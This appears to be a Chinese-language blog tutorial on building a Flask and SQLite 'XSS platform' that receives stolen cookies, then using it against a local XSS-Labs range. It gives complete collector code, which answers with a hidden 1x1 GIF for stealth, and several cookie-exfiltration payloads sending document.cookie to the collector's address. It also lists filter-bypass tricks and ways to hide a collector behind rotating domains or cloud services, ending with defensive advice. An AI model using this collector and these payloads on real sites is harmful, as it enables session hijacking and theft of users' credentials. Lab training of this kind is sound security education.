从零构建XSS攻击平台:Flask实战与Cookie窃取攻防解析

📅 2026/7/6 9:25:00
从零构建XSS攻击平台:Flask实战与Cookie窃取攻防解析
1. 项目概述与核心目标最近在复盘一些经典的Web安全实战案例发现很多朋友对XSS跨站脚本攻击的理解还停留在“弹个窗”的层面这其实大大低估了它的实战威力。一个成熟的XSS漏洞其终点远不止于此它可以是信息窃取、会话劫持甚至是作为进一步渗透的跳板。为了把这个链条讲透我决定以“从零搭建一个简易XSS平台并最终在BUU靶场中实现Cookie窃取”为线索进行一次完整的实战复盘。这不仅仅是一次漏洞利用演示更是一次理解攻击者视角、从而更好地进行防御的思维训练。这个项目的核心目标非常明确亲手构建一个能够接收并管理受害者信息的“服务器”即XSS平台然后在一个受控的、合法的靶场环境如BUU/XSS-Labs中利用一个真实的XSS漏洞将靶场的用户Cookie“偷”回来并展示在我们的平台上。整个过程涉及前端、后端、网络通信和安全漏洞利用多个环节对于想深入理解XSS危害和攻防本质的安全爱好者或初级渗透测试人员来说是一次绝佳的综合性练习。我们将使用最轻量级的技术栈如Python Flask SQLite 简单前端来快速实现平台避免陷入复杂的工程细节从而聚焦于安全原理本身。2. XSS平台的设计思路与架构选型在真正动手写代码之前我们需要想清楚这个平台要做什么以及为什么选择这样的技术路径。一个用于接收XSS攻击回传数据的平台通常被称为“XSS平台”或“XSS接收端”。它的核心功能很简单提供一个唯一的URL地址当这个地址被受害者浏览器访问时通常是通过植入的XSS代码浏览器会向该地址发起请求并将一些敏感信息如Cookie、页面内容、本地存储数据等作为参数传递过来。平台则需要捕获这些请求解析参数并将信息持久化存储供攻击者后续查看。2.1 为什么选择Flask SQLite对于这样一个轻量级、快速原型化的项目技术选型的首要原则是“简单、直接、快速上手”。Flask框架作为一个微型Python Web框架Flask提供了构建Web应用所需的最小核心路由、请求处理、模板渲染等功能一应俱全但又没有Django那样“重”的预设结构和组件。这给了我们极大的灵活性可以完全按照XSS平台的需求来组织代码比如专门编写一个接口来接收GET/POST请求并记录数据。几行代码就能启动一个Web服务非常适合教学和快速验证。SQLite数据库平台需要存储窃取到的数据。SQLite是一个文件型数据库无需安装和配置独立的数据库服务数据直接存储在一个.db文件中。这对于单机、低并发的演示环境来说是零依赖、零管理成本的最佳选择。我们可以用Python内置的sqlite3模块轻松操作。前端展示为了直观地查看“战果”我们需要一个简单的管理页面。直接用Flask的Jinja2模板引擎渲染HTML是最简单的方案。页面不需要花哨一个表格能清晰展示每条记录的ID、来源IP、窃取的Cookie、时间戳等信息就足够了。注意在真实的安全研究或授权测试中平台可能需要部署在公网服务器上以便接收来自互联网的请求。那时需要考虑服务器安全配置如防火墙、非root用户运行、使用更健壮的数据库如MySQL/PostgreSQL以及HTTPS加密通信。本次实验在本地或内网环境进行暂不考虑这些。2.2 平台核心功能模块设计我们的平台主要包含三个核心模块数据接收接口这是平台的“耳朵”。我们需要创建一个Flask路由例如/collect它能够接收HTTP GET请求。攻击者构造的XSS Payload会以类似http://your-platform.com/collect?cookiexxxurlyyy的形式访问这个接口。该接口需要从请求中提取查询参数如cookie,url,referer等同时记录访问者的IP地址和时间。数据存储模块这是平台的“记忆”。接口收到数据后需要将其存入SQLite数据库的一张表中。表结构可以设计为包含id自增主键、ip来源IP、cookie_dataCookie内容、target_url漏洞URL、referer、user_agent和create_time等字段。数据展示页面这是平台的“眼睛”。我们需要一个管理页面例如根路径/或/admin从数据库中查询所有记录并以表格形式展示出来。这个页面可以简单设置一个查询密钥避免被他人随意访问。这个架构清晰地将数据流入、持久化、流出三个环节解耦便于理解和实现。3. 从零搭建简易XSS平台附完整代码理论清晰后我们开始动手实现。请确保你的开发环境已安装Python3和pip。3.1 环境准备与项目初始化首先创建一个项目目录例如xss_platform并在其中进行后续操作。mkdir xss_platform cd xss_platform创建一个Python虚拟环境来隔离依赖非必须但推荐python3 -m venv venv # Windows: venv\Scripts\activate # Linux/Mac: source venv/bin/activate安装必要的Python包pip install flask3.2 核心代码实现接下来我们创建主要的应用文件app.py并逐步实现功能。第一步初始化Flask应用和数据库# app.py import sqlite3 from flask import Flask, request, render_template, g import datetime import os app Flask(__name__) DATABASE data.db # 初始化数据库函数 def init_db(): with app.app_context(): db get_db() # 创建存储数据的表 db.execute( CREATE TABLE IF NOT EXISTS xss_logs ( id INTEGER PRIMARY KEY AUTOINCREMENT, ip TEXT NOT NULL, cookie_data TEXT, target_url TEXT, referer TEXT, user_agent TEXT, create_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP ) ) db.commit() # 获取数据库连接的辅助函数 def get_db(): db getattr(g, _database, None) if db is None: db g._database sqlite3.connect(DATABASE) # 设置返回字典格式的行 db.row_factory sqlite3.Row return db # 应用上下文关闭时关闭数据库连接 app.teardown_appcontext def close_connection(exception): db getattr(g, _database, None) if db is not None: db.close()第二步实现数据接收接口 (/collect)这个接口是平台的核心。它需要处理GET请求并从请求对象中提取我们关心的所有信息。# app.py (续) app.route(/collect) def collect(): db get_db() # 收集各种可能有用的信息 client_ip request.remote_addr # 获取请求头中的X-Forwarded-For如果存在代理的话 x_forwarded_for request.headers.get(X-Forwarded-For) if x_forwarded_for: client_ip x_forwarded_for.split(,)[0].strip() cookie_data request.args.get(c, ) # 使用短参数名 ‘c方便在payload中构造 target_url request.args.get(u, ) referer request.headers.get(Referer, ) user_agent request.headers.get(User-Agent, ) # 将数据插入数据库 db.execute( INSERT INTO xss_logs (ip, cookie_data, target_url, referer, user_agent) VALUES (?, ?, ?, ?, ?) , (client_ip, cookie_data, target_url, referer, user_agent)) db.commit() # 返回一个无害的响应例如1x1像素的GIF图片使请求更隐蔽 # 也可以返回空或简单的文本但图片请求在浏览器日志中更不易察觉 response app.response_class( responsebase64.b64decode(R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7), status200, mimetypeimage/gif ) return response实操心得返回一个1x1像素的透明GIF图片如上代码中的Base64数据是一个经典技巧。这样当XSS Payload通过img src”...”标签触发时浏览器会正常加载图片不会在控制台抛出错误行为更加隐蔽。参数名使用c、u这样的短字母是为了让最终构造的Payload URL更短有时可能绕过一些长度限制。第三步实现数据展示页面 (/)创建一个简单的管理页面来查看所有记录。为了安全可以添加一个简单的密钥验证这里为了演示简化我们先不做鉴权。# app.py (续) app.route(/) def index(): db get_db() # 按时间倒序排列查看最新记录 logs db.execute(SELECT * FROM xss_logs ORDER BY create_time DESC).fetchall() return render_template(index.html, logslogs)第四步创建HTML模板 (templates/index.html)在项目根目录下创建templates文件夹并在其中创建index.html。!DOCTYPE html html head titleXSS 数据接收平台/title style body { font-family: sans-serif; margin: 20px; } table { border-collapse: collapse; width: 100%; } th, td { border: 1px solid #ddd; padding: 8px; text-align: left; } th { background-color: #f2f2f2; } tr:nth-child(even) { background-color: #f9f9f9; } .cookie-cell { max-width: 300px; overflow-wrap: break-word; } /style /head body h1XSS 平台数据记录/h1 p共 {{ logs|length }} 条记录/p table thead tr thID/th thIP地址/th th目标URL/th thCookie数据/th thReferer/th thUser-Agent/th th时间/th /tr /thead tbody {% for log in logs %} tr td{{ log[id] }}/td td{{ log[ip] }}/td td{{ log[target_url] }}/td td classcookie-cell{{ log[cookie_data] }}/td td{{ log[referer] }}/td td{{ log[user_agent] }}/td td{{ log[create_time] }}/td /tr {% endfor %} /tbody /table /body /html第五步启动应用并初始化数据库在app.py文件末尾添加启动代码# app.py (续) import base64 # 记得在文件开头导入base64模块 if __name__ __main__: # 确保数据库和表已创建 if not os.path.exists(DATABASE): init_db() print(f数据库 {DATABASE} 已初始化。) app.run(host0.0.0.0, port5000, debugTrue)现在在终端运行python app.py你的XSS平台就在本地的5000端口启动了。访问http://127.0.0.1:5000/可以看到空的数据展示页面。访问http://127.0.0.1:5000/collect?ctest_cookieuhttp://test.com可以模拟一次数据接收刷新首页就能看到这条记录。4. 构造XSS Payload与BUU靶场实战平台搭建好了现在我们需要一个“受害者”环境来测试。BUU北京联合大学OJ的CTF靶场或著名的XSS-Labs靶场都是绝佳的、合法的练习环境。这里以XSS-Labs靶场为例其原理与BUU靶场中的XSS题目相通。4.1 靶场环境搭建XSS-Labs是一个GitHub上的开源项目包含了从易到难的XSS漏洞场景。我们将其下载到本地运行。# 假设你已经有PHP环境例如使用XAMPP、PHP内置服务器等 git clone https://github.com/do0dl3/xss-labs.git cd xss-labs # 使用PHP内置服务器在8000端口启动 php -S 127.0.0.1:8000现在访问http://127.0.0.1:8000就能看到靶场首页。4.2 分析漏洞点与构造Payload我们以第一关为例通常是最简单的反射型XSS。打开第一关页面有一个输入框提示我们输入内容。查看网页源码可以发现我们的输入被直接输出到了页面中没有经过任何过滤。攻击目标窃取访问该页面用户的Cookie并发送到我们刚搭建的XSS平台。关键步骤获取平台接收地址假设我们的平台运行在http://192.168.1.100:5000请替换为你本机的内网IP。构造窃取Cookie的JavaScript代码我们需要一段JS代码来读取document.cookie并将其作为参数发送到我们的平台。将代码嵌入漏洞点将构造好的JS代码输入到靶场的漏洞输入点。一个经典的Payload构造如下scriptvar img new Image(); img.src ‘http://192.168.1.100:5000/collect?c‘ encodeURIComponent(document.cookie) ‘u‘ encodeURIComponent(window.location.href);/script代码解释document.cookie获取当前页面的所有Cookie。encodeURIComponent()对Cookie和URL进行编码防止特殊字符如、破坏请求结构。创建一个隐藏的Image对象并将其src属性设置为我们的平台接收地址。浏览器会自动加载这个图片从而发起一个携带Cookie参数的GET请求到我们的平台。这种方式比XMLHttpRequest更简单且通常不受同源策略限制因为是向不同域请求图片资源。为了更隐蔽Payload可以进一步缩短和混淆scriptnew Image().src‘http://192.168.1.100:5000/collect?c‘document.cookie/script甚至利用HTML事件属性如果输入点出现在标签内“ onerror“new Image().src‘http://192.168.1.100:5000/collect?c‘document.cookie4.3 实战注入与数据捕获在XSS-Labs第一关的输入框中输入我们构造的长Payloadscriptvar img new Image(); img.src ‘http://192.168.1.100:5000/collect?c‘ encodeURIComponent(document.cookie) ‘u‘ encodeURIComponent(window.location.href);/script点击提交。页面会执行我们注入的脚本。由于靶场环境通常没有设置重要的Cookie如HttpOnlydocument.cookie可能为空或只有一些会话信息。但这不重要关键是流程通了。立即查看你的XSS平台管理页面 (http://192.168.1.100:5000/)。你应该能看到一条新的记录其中的cookie_data字段就是靶场页面当前的Cookie可能为空target_url字段是靶场页面的地址。恭喜你已经成功完成了一次完整的、从平台搭建到漏洞利用、再到数据回传的XSS攻击链演练。5. 深入Payload的变种、绕过与防御思考第一关只是开始。随着靶场关卡难度提升你会遇到各种过滤和限制。5.1 常见过滤与绕过技巧过滤script标签尝试使用其他标签如img srcx onerroralert(1)、svg onloadalert(1)、body onloadalert(1)等利用HTML事件触发JS。过滤onerror等事件尝试使用a hrefjavascript:alert(1)或者利用iframe,embed等标签的src属性执行javascript协议。过滤空格使用/、/**/注释符或Tab的URL编码%09等代替。过滤括号()可以使用反引号配合alert如img srcx onerroralert1某些场景下或者使用throw、location赋值等方式。大小写绕过ScRiPtalert(1)/sCrIpT。双写绕过如果过滤是删除一次关键词可以构造scrscriptiptalert(1)/scrscriptipt。编码绕过使用HTML实体编码、JS Unicode编码等。例如可以编码为lt;但在某些上下文如JS字符串中解码后仍可执行。更复杂的可以利用eval(String.fromCharCode(...))。5.2 针对Cookie窃取的进阶思考HttpOnly Cookie如果Cookie设置了HttpOnly属性则document.cookie无法读取。此时XSS攻击无法直接窃取此类Cookie但攻击者依然可以利用受害者的会话发起请求即会话劫持。Payload可以修改为自动发起一个到敏感页面如修改密码、发送消息的AJAX请求或表单提交。更隐蔽的数据外带除了用Image对象还可以使用fetch()API注意跨域问题、link relprefetch、甚至通过向一个可控的WebSocket发送数据。对于少量数据也可以将信息拼接到一个不存在的图片URL路径中通过404日志来记录。平台部署与隐蔽性真实攻击中平台域名可能很快被安全设备封禁。攻击者会使用短域名、频繁更换域名或将接收端隐藏在合法的云服务如无服务器函数、表单收集工具后面。5.3 从攻击者视角看防御通过这次搭建和攻击我们应该更能体会到防御XSS的关键严格的输入输出过滤不仅仅是前端过滤后端必须对所有用户可控的数据进行输出编码。根据数据出现的上下文HTML体、HTML属性、JavaScript、CSS、URL采用不同的编码规则如HTML实体编码、JavaScript Unicode编码、URL编码。使用CSP内容安全策略通过HTTP头Content-Security-Policy告诉浏览器只允许加载和执行来自特定来源的脚本、样式等资源。可以有效阻止即使注入成功的脚本也无法加载外部资源如我们的XSS平台地址或执行内联脚本。设置HttpOnly Cookie为会话Cookie等敏感信息设置HttpOnly属性阻止JavaScript访问。这是防止Cookie被XSS窃取最有效的手段之一。输入验证与白名单对用户输入的类型、格式、长度、范围进行严格校验只接受符合预期格式的数据。使用安全的框架和库现代前端框架如React, Vue, Angular默认提供了较好的XSS防护机制因为它们通常使用数据绑定而非直接操作DOM。但开发者仍需注意在dangerouslySetInnerHTML或v-html等场景下的风险。6. 常见问题与排查技巧实录在复现这个项目时你可能会遇到以下问题问题1平台启动后访问/collect接口数据库没有记录。排查检查Flask服务是否真的在运行且端口正确。netstat -an | grep 5000(Linux/Mac) 或netstat -ano | findstr :5000(Windows)。检查数据库文件data.db是否在项目根目录下创建。运行python交互环境手动执行init_db()函数。在collect函数中添加print语句打印接收到的参数看请求是否真的到达后端。检查请求的URL是否正确参数名是否匹配我们用的是c和u。问题2Payload提交后平台收到了请求但Cookie为空。排查首先在浏览器控制台F12直接输入document.cookie查看当前页面是否有Cookie。很多靶场页面本身就没有设置Cookie。检查Payload是否正确执行。可以在Payload中先使用alert(document.cookie)测试看是否能弹窗显示Cookie内容。确保平台地址192.168.1.100:5000在靶场页面所在浏览器中是可访问的同网络环境。问题3在较难的靶场关卡Payload被过滤无法执行。排查仔细查看页面返回的源码看你的输入被如何处理了。是被删除了被编码了还是被转移到了其他位置尝试使用更简单的Payload如scriptalert(1)/script测试最基本的脚本执行是否被阻断。利用浏览器的“检查元素”功能查看你输入的内容最终被放置在HTML结构的哪个部分这决定了你可以使用哪种攻击向量HTML标签、属性、事件等。系统地尝试上一节提到的各种绕过技巧从简单到复杂。问题4平台公网部署后接收不到数据。排查检查服务器安全组/防火墙是否开放了对应端口如5000。检查平台服务是否在公网IP上监听0.0.0.0而不是127.0.0.1。使用curl或在线工具测试公网地址的/collect接口是否可访问。考虑使用反向代理如Nginx将服务代理到80/443端口并配置域名。这个项目就像一把钥匙它为你打开了理解XSS攻击链完整视图的大门。从一行简单的alert()到构建一个能稳定接收数据的远程平台再到思考如何绕过防御和提升攻击隐蔽性每一步都加深了对漏洞原理和攻防对抗本质的认识。记住所有的技术学习都应在合法、授权的环境下进行我们的目标是成为更强大的防御者。